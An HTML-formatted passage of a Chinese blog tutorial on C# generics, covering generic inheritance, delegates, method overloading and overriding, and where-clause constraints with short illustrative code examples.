<p style="margin: 0cm 0cm 0pt"><span style="font-family: 新宋体">class C&lt;U,V&gt;</span></p>
<p style="margin: 0cm 0cm 0pt"><span style="font-family: 新宋体">class D:C&lt;string,int&gt;</span></p>
<p style="margin: 0cm 0cm 0pt"><span style="font-family: 新宋体">class E&lt;U,V&gt;:C&lt;U,V&gt;</span></p>
<p style="margin: 0cm 0cm 0pt"><span style="font-family: 新宋体">class F&lt;U,V&gt;:C&lt;string,int&gt;</span></p>
<p style="margin: 0cm 0cm 0pt"><span style="color: red; font-family: 新宋体">class G:C&lt;U,V&gt;&nbsp;//</span><span style="color: red; font-family: 新宋体">非法</span></p>
<p style="margin: 0cm 0cm 0pt"><span style="color: black; font-family: 新宋体">E</span><span style="color: black; font-family: 新宋体">类型为C类型提供了U、V，也就是上面说的来源于子类</span></p>
<p style="margin: 0cm 0cm 0pt"><span style="color: black; font-family: 新宋体">F</span><span style="color: black; font-family: 新宋体">类型继承于C&lt;string,int&gt;，个人认为可以看成F继承一个非泛型的类</span></p>
<p style="margin: 0cm 0cm 0pt"><span style="color: black; font-family: 新宋体">G</span><span style="color: black; font-family: 新宋体">类型为非法的，因为G类型不是泛型，C是泛型，G无法给C提供泛型的实例化</span></p>
<p style="margin: 0cm 0cm 0pt"><span style="color: black; font-family: 新宋体">泛型类型的成员：</span></p>
<p style="margin: 0cm 0cm 0pt"><span style="color: black; font-family: 新宋体">泛型类型的成员可以使用泛型类型声明中的类型参数。但类型参数如果没有任何约束，则只能在该类型上使用从System.Object继承的公有成员。如下图：</span></p>
<p style="margin: 0cm 0cm 0pt"><span style="color: black; font-family: 新宋体">
<div align="center"><img height="190" alt="" src="http://www.cnblogs.com/images/cnblogs_com/kid-li/C1.JPG" width="203" border="0" /></div>
&nbsp;</span>
<p style="margin: 0cm 0cm 0pt"><strong><span style="color: black; font-family: 新宋体">泛型接口：</span></strong></p>
<p style="margin: 0cm 0cm 0pt"><span style="color: black; font-family: 新宋体">泛型接口的类型参数要么已实例化，要么来源于实现类声明的类型参数</span></p>
<p style="margin: 0cm 0cm 0pt"><strong><span style="color: black; font-family: 新宋体">泛型委托：</span></strong></p>
<p style="margin: 0cm 0cm 0pt"><span style="color: black; font-family: 新宋体">泛型委托支持在委托返回值和参数上应用参数类型，这些参数类型同样可以附带合法的约束</span></p>
<p style="margin: 0cm 0cm 0pt"><span style="color: black; font-family: 新宋体">delegate bool MyDelegate&lt;T&gt;(T value);</span></p>
<p style="margin: 0cm 0cm 0pt"><span style="color: black; font-family: 新宋体">class MyClass</span></p>
<p style="margin: 0cm 0cm 0pt"><span style="color: black; font-family: 新宋体">{</span></p>
<p style="margin: 0cm 0cm 0pt"><span style="color: black; font-family: 新宋体">&nbsp;&nbsp;&nbsp; static bool F(int i){...}</span></p>
<p style="margin: 0cm 0cm 0pt"><span style="color: black; font-family: 新宋体">&nbsp;&nbsp;&nbsp; static bool G(string s){...}</span></p>
<p style="margin: 0cm 0cm 0pt"><span style="color: black; font-family: 新宋体">&nbsp;&nbsp;&nbsp; static void Main()</span></p>
<p style="margin: 0cm 0cm 0pt"><span style="color: black; font-family: 新宋体">&nbsp;&nbsp;&nbsp; {</span></p>
<p style="margin: 0cm 0cm 0pt"><span style="color: black; font-family: 新宋体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MyDelegate&lt;string&gt; p2 = G;</span></p>
<p style="margin: 0cm 0cm 0pt"><span style="color: black; font-family: 新宋体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MyDelegate&lt;int&gt; p1 = new MyDelegate&lt;int&gt;(F);</span></p>
<p style="margin: 0cm 0cm 0pt"><span style="color: black; font-family: 新宋体">&nbsp;&nbsp;&nbsp; }</span></p>
<p style="margin: 0cm 0cm 0pt"><span style="color: black; font-family: 新宋体">}</span></p>
<p style="margin: 0cm 0cm 0pt"><strong><span style="color: black; font-family: 新宋体">泛型方法：</span></strong></p>
<p style="margin: 0cm 0cm 0pt"><span style="color: black; font-family: 新宋体">1</span><span style="color: black; font-family: 新宋体">、C#泛型机制只支持&#8220;在方法声明上包含类型参数&#8221;——即泛型方法。</span></p>
<p style="margin: 0cm 0cm 0pt"><span style="color: black; font-family: 新宋体">2</span><span style="color: black; font-family: 新宋体">、C#泛型机制不支持在除方法外的其他成员（包括属性、事件、索引器、构造器、析构器）的声明上包含类型参数，但这些成员本身可以包含在泛型类型中，并使用泛型类型的类型参数。</span></p>
<p style="margin: 0cm 0cm 0pt"><span style="color: black; font-family: 新宋体">3</span><span style="color: black; font-family: 新宋体">、泛型方法既可以包含在泛型类型中，也可以包含在非泛型类型中。</span></p>
<p style="margin: 0cm 0cm 0pt"><span style="color: black; font-family: 新宋体">泛型方法声明：如下</span></p>
<p style="margin: 0cm 0cm 0pt"><span style="color: black; font-family: 新宋体">public static int FunctionName&lt;T&gt;(T value){...}</span></p>
<p style="margin: 0cm 0cm 0pt"><span style="color: black; font-family: 新宋体">泛型方法的重载：</span></p>
<p style="margin: 0cm 0cm 0pt"><span style="color: black; font-family: 新宋体">public void Function1&lt;T&gt;(T a);</span></p>
<p style="margin: 0cm 0cm 0pt"><span style="color: black; font-family: 新宋体">public void Function1&lt;U&gt;(U a);</span></p>
<p style="margin: 0cm 0cm 0pt"><span style="color: black; font-family: 新宋体">这样是不能构成泛型方法的重载。因为编译器无法确定泛型类型T和U是否不同，也就无法确定这两个方法是否不同</span></p>
<p style="margin: 0cm 0cm 0pt"><span style="color: black; font-family: 新宋体">public void Function1&lt;T&gt;(int x);</span></p>
<p style="margin: 0cm 0cm 0pt"><span style="color: black; font-family: 新宋体">public void Function1(int x);</span></p>
<p style="margin: 0cm 0cm 0pt"><span style="color: black; font-family: 新宋体">这样可以构成重载</span></p>
<p style="margin: 0cm 0cm 0pt"><span style="color: black; font-family: 新宋体">public void Function1&lt;T&gt;(T t) where T:A;</span></p>
<p style="margin: 0cm 0cm 0pt"><span style="color: black; font-family: 新宋体">public void Function1&lt;T&gt;(T t) where T:B;</span></p>
<p style="margin: 0cm 0cm 0pt"><span style="color: black; font-family: 新宋体">这样不能构成泛型方法的重载。因为编译器无法确定约束条件中的A和B是否不同，也就无法确定这两个方法是否不同</span></p>
<p style="margin: 0cm 0cm 0pt"><span style="color: black; font-family: 新宋体">泛型方法重写：</span></p>
<p style="margin: 0cm 0cm 0pt"><span style="color: black; font-family: 新宋体">在重写的过程中，抽象类中的抽象方法的约束是被默认继承的。如下：</span></p>
<p style="margin: 0cm 0cm 0pt"><span style="color: black; font-family: 新宋体">abstract class Base</span></p>
<p style="margin: 0cm 0cm 0pt"><span style="color: black; font-family: 新宋体">{</span></p>
<p style="margin: 0cm 0cm 0pt"><span style="color: black; font-family: 新宋体">&nbsp;&nbsp;&nbsp; public abstract T F&lt;T,U&gt;(T t,U u) where U:T;</span></p>
<p style="margin: 0cm 0cm 0pt"><span style="color: black; font-family: 新宋体">&nbsp;&nbsp;&nbsp; public abstract T G&lt;T&gt;(T t) where T:IComparable;</span></p>
<p style="margin: 0cm 0cm 0pt"><span style="color: black; font-family: 新宋体">}</span></p>
<p style="margin: 0cm 0cm 0pt"><span style="color: black; font-family: 新宋体">class MyClass:Base</span></p>
<p style="margin: 0cm 0cm 0pt"><span style="color: black; font-family: 新宋体">{</span></p>
<p style="margin: 0cm 0cm 0pt"><span style="color: black; font-family: 新宋体">&nbsp;&nbsp;&nbsp; public override X F&lt;X,Y&gt;(X x,Y y){...}</span></p>
<p style="margin: 0cm 0cm 0pt"><span style="color: black; font-family: 新宋体">&nbsp;&nbsp;&nbsp; public override T G&lt;T&gt;(T t) where T:IComparable{}</span></p>
<p style="margin: 0cm 0cm 0pt"><span style="color: black; font-family: 新宋体">}</span></p>
<p style="margin: 0cm 0cm 0pt"><span style="color: black; font-family: 新宋体">对于MyClass中两个重写的方法来说</span></p>
<p style="margin: 0cm 0cm 0pt"><span style="color: black; font-family: 新宋体">F</span><span style="color: black; font-family: 新宋体">方法是合法的，约束被默认继承</span></p>
<p style="margin: 0cm 0cm 0pt"><span style="color: black; font-family: 新宋体">G</span><span style="color: black; font-family: 新宋体">方法是非法的，指定任何约束都是多余的</span></p>
<p style="margin: 0cm 0cm 0pt"><strong><span style="color: black; font-family: 新宋体">泛型约束：</span></strong></p>
<p style="margin: 0cm 0cm 0pt"><span style="color: black; font-family: 新宋体">1</span><span style="color: black; font-family: 新宋体">、C#泛型要求对&#8220;所有泛型类型或泛型方法的类型参数&#8221;的任何假定，都要基于&#8220;显式的约束&#8221;，以维护C#所要求的类型安全。</span></p>
<p style="margin: 0cm 0cm 0pt"><span style="color: black; font-family: 新宋体">2</span><span style="color: black; font-family: 新宋体">、&#8220;显式约束&#8221;由where子句表达，可以指定&#8220;基类约束&#8221;，&#8220;接口约束&#8221;，&#8220;构造器约束&#8221;，&#8220;值类型/引用类型约束&#8221;共四种约束。</span></p>
<p style="margin: 0cm 0cm 0pt"><span style="color: black; font-family: 新宋体">3</span><span style="color: black; font-family: 新宋体">、&#8220;显式约束&#8221;并非必须，如果没有指定&#8220;显式约束&#8221;，范型类型参数将只能访问System.Object类型中的公有方法。例如：在开始的例子中，定义的那个obj成员变量。比如我们在开始的那个例子中加入一个Test1类，在它当中定义两个公共方法Func1、Func2，如下图：</span></p>
<p style="margin: 0cm 0cm 0pt"><span style="color: black; font-family: 新宋体">
<div align="center"><img height="319" alt="" src="http://www.cnblogs.com/images/cnblogs_com/kid-li/C2.JPG" width="217" border="0" /></div>
<br />
<br />
下面就开始分析这些约束：</span>
<p style="margin: 0cm 0cm 0pt"><span style="color: black; font-family: 新宋体">基类约束：</span></p>
<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; text-align: left" align="left"><span style="color: blue; font-family: 新宋体">class</span><span style="font-family: 新宋体"> <span style="color: teal">A</span></span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp; {</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span style="color: blue">public</span> <span style="color: blue">void</span> Func1()</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; { }</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp; }</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp; <span style="color: blue">class</span> <span style="color: teal">B</span></span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp; {</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span style="color: blue">public</span> <span style="color: blue">void</span> Func2()</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; { }</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp; }</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp; <span style="color: blue">class</span> <span style="color: teal">C</span>&lt;S, T&gt;</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span style="color: blue">where</span> S : <span style="color: teal">A</span></span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span style="color: blue">where</span> T : <span style="color: teal">B</span></span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp; {</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span style="color: blue">public</span> C(S s,T t)</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span style="color: green">//S</span></span><span style="color: green; font-family: 新宋体">的变量可以调用Func1方法</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; s.Func1();</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span style="color: green">//T</span></span><span style="color: green; font-family: 新宋体">的变量可以调用Func2方法</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; t.Func2();</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</span></p>
<p style="margin: 0cm 0cm 0pt"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp; }</span></p>
<p style="margin: 0cm 0cm 0pt"><span style="color: black; font-family: 新宋体">接口约束：</span></p>
<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; text-align: left" align="left"><span style="color: blue; font-family: 新宋体">interface</span><span style="font-family: 新宋体"> <span style="color: teal">IA</span>&lt;T&gt;</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp; {</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; T Func1();</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp; }</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp; <span style="color: blue">interface</span> <span style="color: teal">IB</span></span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp; {</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span style="color: blue">void</span> Func2();</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp; }</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp; <span style="color: blue">interface</span> <span style="color: teal">IC</span>&lt;T&gt;</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp; {</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;T Func3();</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp; }</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp; <span style="color: blue">class</span> <span style="color: teal">MyClass</span>&lt;T, V&gt;</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span style="color: blue">where</span> T : <span style="color: teal">IA</span>&lt;T&gt;</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span style="color: blue">where</span> V : <span style="color: teal">IB</span>, <span style="color: teal">IC</span>&lt;V&gt;</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp; {</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span style="color: blue">public</span> MyClass(T t,V v)</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span style="color: green">//T</span></span><span style="color: green; font-family: 新宋体">的对象可以调用Func1</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; t.Func1();</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span style="color: green">//V</span></span><span style="color: green; font-family: 新宋体">的对象可以调用Func2和Func3</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; v.Func2();</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; v.Func3();</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</span></p>
<p style="margin: 0cm 0cm 0pt"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp; }</span></p>
<p style="margin: 0cm 0cm 0pt"><span style="color: black; font-family: 新宋体">构造器约束：</span></p>
<p style="margin: 0cm 0cm 0pt 21pt; text-indent: 21pt; text-align: left" align="left"><span style="color: blue; font-family: 新宋体">class</span><span style="font-family: 新宋体"> <span style="color: teal">A</span></span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span style="color: blue">public</span> A()</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; { }</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span style="color: blue">class</span> <span style="color: teal">B</span></span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span style="color: blue">public</span> B(<span style="color: blue">int</span> i)</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; { }</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span style="color: blue">class</span> <span style="color: teal">C</span>&lt;T&gt; <span style="color: blue">where</span> T : <span style="color: blue">new</span>()</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; T t;</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span style="color: blue">public</span> C()</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; t = <span style="color: blue">new</span> T();</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span style="color: blue">class</span> <span style="color: teal">D</span></span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span style="color: blue">public</span> <span style="color: blue">void</span> Func()</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span style="color: teal">C</span>&lt;<span style="color: teal">A</span>&gt; c = <span style="color: blue">new</span> <span style="color: teal">C</span>&lt;<span style="color: teal">A</span>&gt;();</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="color: red; font-family: 新宋体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; C&lt;B&gt; d = new C&lt;B&gt;();</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</span></p>
<p style="margin: 0cm 0cm 0pt"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;}</span></p>
<p style="margin: 0cm 0cm 0pt"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp; d</span><span style="font-family: 新宋体">对象在编译时报错：The type B must have a public parameterless constructor in order to use it as parameter 'T' in the generic type or method C&lt;T&gt;</span></p>
<p style="margin: 0cm 0cm 0pt"><strong><span style="color: red; font-family: 新宋体">&nbsp;&nbsp;&nbsp; </span></strong><strong><span style="color: red; font-family: 新宋体">注意：C#现在只支持无参的构造器约束</span></strong></p>
<p style="margin: 0cm 0cm 0pt"><span style="color: black; font-family: 新宋体">&nbsp;&nbsp;&nbsp; </span><span style="color: black; font-family: 新宋体">此时由于我们为B类型写入了一个有参构造器，使得系统不会再为B自动创建一个无参的构造器，但是如果我们将B类型中加一个无参构造器，那么对象d的实例化就不会报错了。B类型定义如下：</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="color: black; font-family: 新宋体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="color: blue; font-family: 新宋体">class</span><span style="font-family: 新宋体"> <span style="color: teal">B</span></span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span style="color: blue">public</span> B()</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; { }</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span style="color: blue">public</span> B(<span style="color: blue">int</span> i)</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; { }</span></p>
<p style="margin: 0cm 0cm 0pt"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</span></p>
<p style="margin: 0cm 0cm 0pt"><span style="color: black; font-family: 新宋体">值类型/引用类型：</span></p>
<p style="margin: 0cm 0cm 0pt 21pt; text-indent: 21pt; text-align: left" align="left"><span style="color: blue; font-family: 新宋体">public</span><span style="font-family: 新宋体"> <span style="color: blue">struct</span> <span style="color: teal">A</span> { }</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span style="color: blue">public</span> <span style="color: blue">class</span> <span style="color: teal">B</span> { }</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span style="color: blue">public</span> <span style="color: blue">class</span> <span style="color: teal">C</span>&lt;T&gt; <span style="color: blue">where</span> T : <span style="color: blue">struct</span></span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;</span></p>
<p style="margin: 0cm 0cm 0pt; text-align: left" align="left"><span style="font-family: 新宋体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</span></p>
